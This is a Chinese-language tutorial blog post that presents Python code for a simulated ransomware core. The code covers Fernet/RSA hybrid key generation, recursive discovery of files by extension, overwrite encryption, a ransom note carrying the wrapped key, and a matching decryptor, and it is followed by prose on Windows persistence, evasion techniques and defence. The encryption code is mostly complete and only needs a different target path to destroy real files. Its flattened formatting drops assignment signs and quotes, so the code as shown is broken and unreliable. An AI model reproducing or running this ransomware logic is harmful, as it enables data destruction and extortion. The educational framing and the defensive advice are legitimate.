Python模拟勒索病毒核心逻辑:从混合加密到文件恢复的攻防实践

Python模拟勒索病毒核心逻辑:从混合加密到文件恢复的攻防实践
1. 项目概述与核心价值最近在安全圈和编程社区里关于“勒索病毒”的讨论热度一直不低。很多刚入门安全研究的朋友或者是对Python编程感兴趣的开发者都对这个听起来有点“黑”的东西感到好奇它到底是怎么运作的为什么能锁住别人的文件作为一个在安全领域摸爬滚打了十多年的老码农我深知“知己知彼”的重要性。理解攻击原理是构建有效防御的第一步。今天我就抛开那些复杂的商业工具和晦涩的底层原理用最纯粹的Python带你从零开始模拟实现一个勒索病毒的核心逻辑。请注意我们这里讨论的“模拟”完全是为了教育、研究和防御目的。代码将在受控的虚拟环境或隔离的沙箱中运行目标是我们自己创建的测试文件。我们的核心目标是拆解其技术原理理解文件加密、密钥管理、赎金票据生成等关键环节是如何被组合成一个自动化攻击工具的。通过亲手实现一遍你会对文件系统操作、对称/非对称加密的应用场景、以及恶意软件常见的持久化与隐蔽手法有更深刻的认识。这不仅能满足你的技术好奇心更能让你在未来的工作中无论是开发安全软件、进行渗透测试还是构建系统防护都能拥有更清晰的思路和更扎实的基础。2. 环境准备与核心思路拆解在动手写代码之前我们必须把“战场”准备好并理清整个模拟程序的设计思路。安全研究的第一原则就是“无害化”我们的所有操作必须限定在绝对可控的范围内。2.1 隔离测试环境的搭建我强烈建议你不要在任何存有重要数据的物理机或主力开发机上直接运行这类代码。最稳妥的方式是使用虚拟机。你可以用VirtualBox或VMware创建一个全新的Windows或Linux虚拟机。在虚拟机内部我们专门创建一个用于测试的目录比如C:\test_ransomware_simWindows或/home/user/test_simLinux并在其中放置一些无关紧要的测试文件例如几个.txt、.jpg、.docx的副本。这样即使代码逻辑有误导致文件被意外处理也不会造成任何真实损失。Python环境方面我们需要3.6及以上版本。核心依赖库是cryptography它提供了强大且易用的加密原语。你可以通过pip安装pip install cryptography。这个库比Python标准库中的一些加密模块更现代、更安全也是很多实际项目中会采用的选择。2.2 模拟程序的核心设计思路一个简化版的勒索病毒工作流程可以抽象为以下几个关键步骤这也是我们代码将要实现的主线密钥生成程序启动后首先在内存中生成一个唯一的“会话密钥”。这个密钥用于对称加密文件内容因为对称加密如AES速度快适合处理大量数据。同时为了模拟攻击者如何向受害者索取赎金我们还需要生成一对非对称加密RSA的公私钥。公钥用于加密上一步生成的会话密钥私钥则由攻击者持有用于解密。文件遍历与筛选程序需要定位到目标文件。在我们的模拟中目标就是我们准备好的测试目录。它会递归遍历该目录下的所有文件。一个“专业”的勒索病毒通常会避开系统关键文件避免导致系统无法启动从而无法支付赎金并重点加密文档、图片、数据库等对用户有价值的数据。我们的模拟代码会加入一个简单的扩展名白名单/黑名单机制来模拟这一行为。文件加密对筛选出的每个文件使用生成的“会话密钥”对其进行加密。加密过程需要处理大文件分块读取加密并确保加密后的数据能够正确存储。通常原始文件会被加密后的数据覆盖或者被重命名为加密后的新文件同时删除原始文件。赎金票据生成加密完成后在受害目录下留下一个醒目的说明文件如README_FOR_DECRYPT.txt告知受害者文件已被加密并提供下一步“指示”。在我们的模拟中这个票据会包含被RSA公钥加密后的“会话密钥”即解密所需的关键信息模拟攻击者将解密密钥“扣押”并索要赎金后才提供的场景。解密功能研究用作为研究的一部分我们还需要实现一个对应的解密功能。这个功能会读取“赎金票据”中加密的会话密钥如果我们拥有对应的RSA私钥模拟攻击者收到赎金后提供密钥就能解密出会话密钥进而用它来解密所有被加密的文件。整个模拟的核心在于理解“混合加密体系”在勒索软件中的应用用对称加密处理文件高效用非对称加密保护对称密钥安全以及攻击链的自动化实现。3. 核心模块代码实现与逐行解析接下来我们将分模块构建这个模拟程序。我会提供完整的代码并附上详细的逐行注释确保你能理解每一行代码的意图。3.1 密钥生成模块首先我们实现密钥的生成。这里使用cryptography库的fernet模块生成对称密钥使用rsa模块生成非对称密钥对。from cryptography.fernet import Fernet from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import os def generate_keys(): 生成加密所需的密钥。 返回: (对称密钥, RSA私钥对象, RSA公钥字节串) # 1. 生成一个Fernet对称密钥。Fernet是基于AES-128-CBC的对称加密方案使用方便且安全。 # 这个密钥将用于加密具体的文件内容。 symmetric_key Fernet.generate_key() print(f[*] 生成的对称密钥 (Base64): {symmetric_key.decode()}) # 2. 生成RSA非对称密钥对密钥长度2048位是安全与性能的平衡点。 # private_key 对象需要妥善保存它是解密的唯一凭证。 # public_key 对象用于加密对称密钥可以公开。 private_key rsa.generate_private_key( public_exponent65537, key_size2048, ) public_key private_key.public_key() # 3. 将公钥序列化为PEM格式的字节串方便写入文件或进行网络传输。 # 在实际勒索场景中这个公钥可能被硬编码在病毒体内或者从C2服务器动态获取。 public_pem public_key.public_bytes( encodingserialization.Encoding.PEM, formatserialization.PublicFormat.SubjectPublicKeyInfo ) print(f[*] RSA公钥已生成。) return symmetric_key, private_key, public_pem实操心得Fernet密钥本质上是32个URL安全的base64编码字节它内部已经包含了签名和验证机制比直接使用原始的AES更方便。RSA私钥对象 (private_key) 是整个模拟中最敏感的部分在真实恶意软件中它绝不会出现在受害者机器上而是保存在攻击者的服务器中。3.2 文件遍历与筛选模块这个模块负责找到需要加密的目标文件。为了模拟真实勒索病毒的行为我们会实现一个简单的文件类型筛选器。import os from pathlib import Path def find_target_files(target_directory, extensions_to_encrypt): 递归遍历目标目录找出指定扩展名的文件。 参数: target_directory: 要扫描的根目录路径。 extensions_to_encrypt: 一个包含目标扩展名的列表如 [.txt, .docx, .jpg, .xlsx]。 返回: 找到的目标文件路径列表。 target_files [] # 使用 pathlib 的 Path 对象进行路径操作更现代、跨平台。 target_path Path(target_directory) # 检查目标目录是否存在 if not target_path.exists() or not target_path.is_dir(): print(f[!] 错误目标目录 {target_directory} 不存在或不是一个目录。) return target_files print(f[*] 开始扫描目录: {target_directory}) # os.walk 递归遍历目录树 for root, dirs, files in os.walk(target_directory): for file in files: file_path Path(root) / file # 检查文件扩展名是否在我们的目标列表中 if file_path.suffix.lower() in extensions_to_encrypt: target_files.append(str(file_path)) print(f [] 找到目标文件: {file_path}) print(f[*] 扫描完成。共找到 {len(target_files)} 个目标文件。) return target_files注意事项在实际的勒索病毒中文件筛选逻辑要复杂得多。它们可能会使用更庞大的扩展名列表避开.exe,.dll,.sys等系统文件甚至通过文件头magic number而非扩展名来判断文件类型以绕过一些基于扩展名的检测。我们的简化版足以说明原理。3.3 文件加密模块这是模拟程序的核心负责用对称密钥加密文件内容。我们需要处理文件读写和加密操作。from cryptography.fernet import Fernet, InvalidToken import os def encrypt_file(file_path, symmetric_key): 使用Fernet对称密钥加密单个文件。 策略读取原文件 - 加密数据 - 将加密数据写回原文件覆盖。 参数: file_path: 要加密的文件路径。 symmetric_key: Fernet对称密钥字节串。 fernet Fernet(symmetric_key) try: # 以二进制读取模式打开文件 with open(file_path, rb) as file: original_data file.read() # 如果文件为空则无需加密 if not original_data: print(f [!] 文件为空跳过: {file_path}) return False # 使用Fernet加密数据 encrypted_data fernet.encrypt(original_data) # 将加密后的数据写回原文件实现“覆盖式”加密。 # 这是很多勒索病毒的典型行为直接破坏原始数据。 with open(file_path, wb) as file: file.write(encrypted_data) print(f [√] 文件加密成功: {file_path}) return True except PermissionError: print(f [!] 权限不足无法加密文件: {file_path}) return False except Exception as e: print(f [!] 加密文件时发生未知错误 {file_path}: {e}) return False def encrypt_files_in_list(file_list, symmetric_key): 批量加密文件列表中的所有文件。 返回成功加密的文件数量。 success_count 0 for file_path in file_list: if encrypt_file(file_path, symmetric_key): success_count 1 return success_count核心细节解析fernet.encrypt()方法不仅执行AES加密还会在密文前附加一个随机初始化向量IV并在最后附加一个HMAC签名确保密文的完整性和真实性。这种“覆盖写入”的方式是破坏性的强调了备份的重要性。在更复杂的模拟中你可能会看到病毒先加密文件然后将原文件删除甚至使用Windows的DeleteFileAPI并覆写磁盘空间来防止恢复。3.4 赎金票据生成与密钥封装模块加密完成后需要告诉受害者发生了什么并留下“赎金”线索。关键一步是用RSA公钥加密那个对称密钥。from cryptography.hazmat.primitives.asymmetric import padding from cryptography.hazmat.primitives import hashes import base64 def create_ransom_note(target_directory, symmetric_key, public_key_pem): 创建赎金说明文件并将被RSA公钥加密的对称密钥存入其中。 参数: target_directory: 存放赎金票据的目录。 symmetric_key: 需要被保护的Fernet对称密钥。 public_key_pem: PEM格式的RSA公钥字节串。 note_path os.path.join(target_directory, README_FOR_DECRYPT.txt) # 1. 将PEM公钥字节串加载回公钥对象 from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization public_key serialization.load_pem_public_key(public_key_pem) # 2. 使用RSA公钥加密对称密钥。 # 使用OAEP填充方案这是目前推荐的非对称加密填充方式比旧的PKCS1v1.5更安全。 encrypted_symmetric_key public_key.encrypt( symmetric_key, padding.OAEP( mgfpadding.MGF1(algorithmhashes.SHA256()), algorithmhashes.SHA256(), labelNone ) ) # 将加密后的字节转换为Base64字符串便于在文本文件中存储和传输。 encrypted_key_b64 base64.b64encode(encrypted_symmetric_key).decode(utf-8) # 3. 编写赎金票据内容 note_content f !!! 你的文件已被加密 !!! 您计算机上的重要文件文档、图片、数据库等已使用强大的军事级加密算法进行加密。 原始文件无法直接恢复。 * 发生了什么 所有目标文件都已被AES-128算法加密。用于解密的唯一密钥已被一个2048位的RSA公钥加密。 * 如何恢复文件 您需要解密密钥。该密钥已被加密内容如下Base64编码 -----BEGIN ENCRYPTED SYMMETRIC KEY----- {encrypted_key_b64} -----END ENCRYPTED SYMMETRIC KEY----- 模拟说明在实际攻击中此处会提供付款比特币地址、联系方式等。受害者需要支付赎金以获取RSA私钥来解密上面的数据从而得到文件解密密钥。 * 警告 不要尝试修改或重命名加密文件这可能导致永久性数据丢失。 不要使用第三方解密工具它们可能无效并损坏您的文件。 此模拟程序仅用于安全教育与研究。 # 4. 将赎金票据写入文件 with open(note_path, w, encodingutf-8) as f: f.write(note_content) print(f[*] 赎金票据已生成: {note_path}) print(f[*] 加密后的对称密钥已存入票据中。) return note_path为什么这么做将对称密钥用RSA公钥加密后存入票据是勒索病毒“绑架”数据的关键。受害者可以看到这个加密后的密钥encrypted_key_b64但没有私钥就无法解密它也就无法得到解密的“钥匙”。攻击者则牢牢掌控着私钥。4. 主程序流程与模拟执行现在我们把所有模块组合起来形成一个完整的、可控制的模拟流程。import sys def main_simulation(): print( * 60) print(Python勒索病毒核心逻辑模拟程序 (仅供安全研究)) print( * 60) # 0. 安全确认 confirm input(\n[!] 警告此程序将在指定目录执行文件加密操作。\n 请确保已在虚拟机或隔离的测试目录中运行。\n 输入 YES 并回车以确认您了解风险并继续: ) if confirm ! YES: print([*] 操作已取消。) sys.exit(0) # 1. 配置参数 # !!! 重要将此路径修改为你准备好的、空的测试目录绝对路径 !!! TARGET_DIR rC:\test_ransomware_sim # Windows示例 # TARGET_DIR /home/user/test_sim # Linux/macOS示例 # 定义要加密的文件扩展名模拟有价值文件 TARGET_EXTENSIONS [.txt, .pdf, .jpg, .png, .docx, .xlsx, .sql, .py] # 2. 生成密钥 print(f\n[阶段1] 生成加密密钥...) symmetric_key, private_key, public_key_pem generate_keys() # 模拟中将私钥保存到本地一个安全的地方代表“攻击者持有”。 # 在实际研究中这个私钥绝不会出现在受害者机器上。 private_key_path ./victim_private_key.pem with open(private_key_path, wb) as f: f.write(private_key.private_bytes( encodingserialization.Encoding.PEM, formatserialization.PrivateFormat.PKCS8, encryption_algorithmserialization.NoEncryption() # 为简化不加密私钥文件 )) print(f[*] RSA私钥已保存到: {private_key_path} (模拟攻击者持有)) # 3. 查找目标文件 print(f\n[阶段2] 在目录 {TARGET_DIR} 中搜索目标文件...) files_to_encrypt find_target_files(TARGET_DIR, TARGET_EXTENSIONS) if not files_to_encrypt: print([!] 未找到任何目标文件。请检查目录路径和扩展名列表。) sys.exit(1) # 4. 加密文件 print(f\n[阶段3] 开始加密文件...) success_count encrypt_files_in_list(files_to_encrypt, symmetric_key) print(f[*] 文件加密阶段结束。成功加密 {success_count}/{len(files_to_encrypt)} 个文件。) # 5. 创建赎金票据 print(f\n[阶段4] 生成赎金票据...) note_path create_ransom_note(TARGET_DIR, symmetric_key, public_key_pem) print(f\n * 60) print([模拟完成]) print(f 1. {success_count} 个文件已被Fernet(AES)加密。) print(f 2. 用于解密的对称密钥已被RSA公钥加密并存储在:) print(f {note_path}) print(f 3. 解密的唯一希望是RSA私钥它被保存在:) print(f {private_key_path} (模拟攻击者资产)) print( * 60) print(\n下一步你可以运行解密模拟程序使用私钥来恢复文件。) if __name__ __main__: main_simulation()运行前检查清单确认TARGET_DIR变量指向一个专门创建的、仅包含测试文件的空目录。确认你理解代码每一步在做什么。运行后检查测试目录中的文件它们的内容应变为不可读的乱码加密数据并且会多出一个README_FOR_DECRYPT.txt文件。5. 解密模拟与数据恢复作为研究的闭环我们必须实现解密功能。这模拟了受害者支付赎金后即获得私钥后的数据恢复过程。def decrypt_symmetric_key_from_note(note_file_path, private_key): 从赎金票据中读取加密的对称密钥并用RSA私钥解密它。 参数: note_file_path: 赎金票据文件路径。 private_key: 加载的RSA私钥对象。 返回: 解密后的Fernet对称密钥字节串失败则返回None。 try: with open(note_file_path, r, encodingutf-8) as f: content f.read() # 从票据文本中提取Base64编码的加密密钥块 import re pattern r-----BEGIN ENCRYPTED SYMMETRIC KEY-----\n(.*?)\n-----END ENCRYPTED SYMMETRIC KEY----- match re.search(pattern, content, re.DOTALL) if not match: print(f[!] 在赎金票据中未找到加密的密钥块。) return None encrypted_key_b64 match.group(1).strip() encrypted_key base64.b64decode(encrypted_key_b64) # 使用RSA私钥解密 decrypted_symmetric_key private_key.decrypt( encrypted_key, padding.OAEP( mgfpadding.MGF1(algorithmhashes.SHA256()), algorithmhashes.SHA256(), labelNone ) ) print(f[*] 成功从票据中解密出对称密钥。) return decrypted_symmetric_key except Exception as e: print(f[!] 解密对称密钥时发生错误: {e}) return None def decrypt_file(file_path, symmetric_key): 使用Fernet对称密钥解密单个文件。 参数: file_path: 加密的文件路径。 symmetric_key: 解密用的Fernet对称密钥。 fernet Fernet(symmetric_key) try: with open(file_path, rb) as file: encrypted_data file.read() # Fernet.decrypt() 会验证HMAC签名如果密文被篡改或密钥错误会抛出InvalidToken异常。 decrypted_data fernet.decrypt(encrypted_data) with open(file_path, wb) as file: file.write(decrypted_data) print(f [√] 文件解密成功: {file_path}) return True except InvalidToken: print(f [!] 解密失败密钥错误或文件已被损坏: {file_path}) return False except Exception as e: print(f [!] 解密文件时发生错误 {file_path}: {e}) return False def main_decryption_simulation(): print( * 60) print(文件解密模拟程序 (恢复数据)) print( * 60) # 配置参数应与加密时一致 TARGET_DIR rC:\test_ransomware_sim NOTE_FILE os.path.join(TARGET_DIR, README_FOR_DECRYPT.txt) PRIVATE_KEY_FILE ./victim_private_key.pem # 模拟“收到”的私钥 # 1. 加载RSA私钥 print(f\n[阶段1] 加载RSA私钥...) try: with open(PRIVATE_KEY_FILE, rb) as f: private_key serialization.load_pem_private_key( f.read(), passwordNone, # 我们保存时未加密 ) print(f[*] RSA私钥加载成功。) except FileNotFoundError: print(f[!] 错误未找到私钥文件 {PRIVATE_KEY_FILE}。) print(f 模拟场景这代表受害者尚未获得解密所需的私钥。) sys.exit(1) # 2. 从赎金票据中解密出对称密钥 print(f\n[阶段2] 解析赎金票据并解密对称密钥...) symmetric_key decrypt_symmetric_key_from_note(NOTE_FILE, private_key) if not symmetric_key: print([!] 无法获取对称密钥解密过程终止。) sys.exit(1) # 3. 再次遍历目录寻找加密文件进行解密 # 注意这里我们假设所有目标扩展名的文件都已被加密实际中可能需要更精确的判断如文件头。 print(f\n[阶段3] 扫描目录并解密文件...) target_extensions [.txt, .pdf, .jpg, .png, .docx, .xlsx, .sql, .py] files_to_decrypt find_target_files(TARGET_DIR, target_extensions) if not files_to_decrypt: print([!] 未找到待解密的文件。) sys.exit(1) success_count 0 for file_path in files_to_decrypt: # 跳过赎金票据本身 if file_path NOTE_FILE: continue if decrypt_file(file_path, symmetric_key): success_count 1 print(f\n[*] 解密完成。成功恢复 {success_count}/{len(files_to_decrypt)} 个文件。) # 可选删除赎金票据 # os.remove(NOTE_FILE) # print(f[*] 已删除赎金票据: {NOTE_FILE}) if __name__ __main__: main_decryption_simulation()解密流程的关键点解密是加密的逆过程但前提是必须拥有正确的RSA私钥。fernet.decrypt()方法内置了完整性校验如果文件在加密后被修改或者使用了错误的密钥解密会失败并抛出InvalidToken异常。这模拟了现实中的一个重要细节即使受害者支付了赎金如果攻击者提供的密钥是错误的或者文件在加密后受损数据依然无法恢复。6. 高级模拟持久化与隐蔽技巧探讨一个完整的恶意软件模拟除了核心的加密逻辑还会涉及如何让自己在系统上存活下来持久化以及如何躲避检测隐蔽。这里我们仅作原理性探讨不提供可直接运行的完整代码因为其中一些技术可能被滥用。6.1 持久化机制浅析持久化是指恶意软件在系统重启后仍能自动运行的能力。在Windows系统上常见的手法包括注册表启动项在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run或HKEY_LOCAL_MACHINE下的对应位置添加键值指向恶意程序路径。计划任务创建计划任务在特定时间如系统启动时、用户登录时执行恶意程序。服务安装将恶意程序注册为系统服务使其随系统启动。启动文件夹将恶意程序的快捷方式放入用户的启动文件夹 (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup)。模拟思路在Python中你可以使用winreg模块操作注册表使用subprocess调用schtasks.exe创建计划任务。但在模拟中我们只应在绝对隔离的环境下验证这些API的调用是否成功而不实际执行破坏性操作。6.2 隐蔽性技巧浅析勒索病毒为了延长存活时间会尝试隐藏自己。文件属性隐藏使用attrib h s r [filename]命令或将文件设置为系统和隐藏属性。进程名伪装将自身命名为svchost.exe,explorer.exe等系统进程名或注入到合法进程中。网络通信加密与隐匿与C2服务器的通信使用HTTPS或自定义加密协议域名可能使用DGA域名生成算法动态生成。反调试与反沙箱检测调试器如IsDebuggerPresent、虚拟机环境检查特定进程、硬件ID、沙箱检测用户交互行为、运行时间的存在如果发现则停止恶意行为或执行误导性操作。研究意义理解这些技术对于安全分析师来说至关重要。分析恶意软件样本时我们会检查它的持久化点、网络行为特征以及反分析技巧这些都是编写检测规则如YARA规则、EDR策略和进行威胁狩猎Threat Hunting的重要依据。7. 防御视角从攻击模拟到安全加固通过这次模拟我们站在攻击者的角度理解了勒索病毒的运作机制。现在让我们切换回防御者视角看看如何防范这类威胁。这些措施远比“事后解密”更重要。定期备份与隔离这是最有效、最根本的防御措施。遵循3-2-1备份原则3份数据副本2种不同介质1份离线存储。确保备份系统与主网络隔离防止勒索软件加密备份文件。最小权限原则无论是个人用户还是企业员工都应使用非管理员权限的账户进行日常操作。这能极大限制恶意软件对系统关键区域和网络共享的访问权限。保持系统与软件更新及时安装操作系统和所有应用程序尤其是办公套件、浏览器、Java、Adobe系列的安全补丁堵住漏洞利用的入口。谨慎处理邮件与附件不要打开来历不明的邮件附件尤其是.doc,.xls,.js,.vbs,.scr,.exe等可执行文件或包含宏的文档。即使来自熟人也要确认其真实性。部署终端安全软件使用具有行为检测能力的下一代防病毒NGAV或端点检测与响应EDR解决方案。它们可以监控进程的异常行为如大量文件加密操作并及时阻断。网络分段与访问控制在企业环境中对网络进行分段限制服务器之间的横向移动。特别是严格管控对文件服务器和备份服务器的访问。用户安全意识培训人是安全链中最薄弱的一环。定期对员工进行钓鱼邮件识别、安全操作规范等培训。从这次手把手的模拟中我最大的体会是勒索病毒的技术原理并不神秘它本质上是将一些经典的密码学工具和系统操作技术以一种恶意的方式自动化、武器化了。对于安全研究者而言理解它是为了更好地防御它。当你下次再听到关于勒索病毒的新闻时希望你的脑海中能清晰地浮现出“混合加密”、“密钥封装”、“文件遍历”、“持久化”这些技术关键词并能从更深的层次去思考防御策略。记住我们学习攻击技术永远是为了筑起更坚固的防线。

最新新闻

日新闻

周新闻

月新闻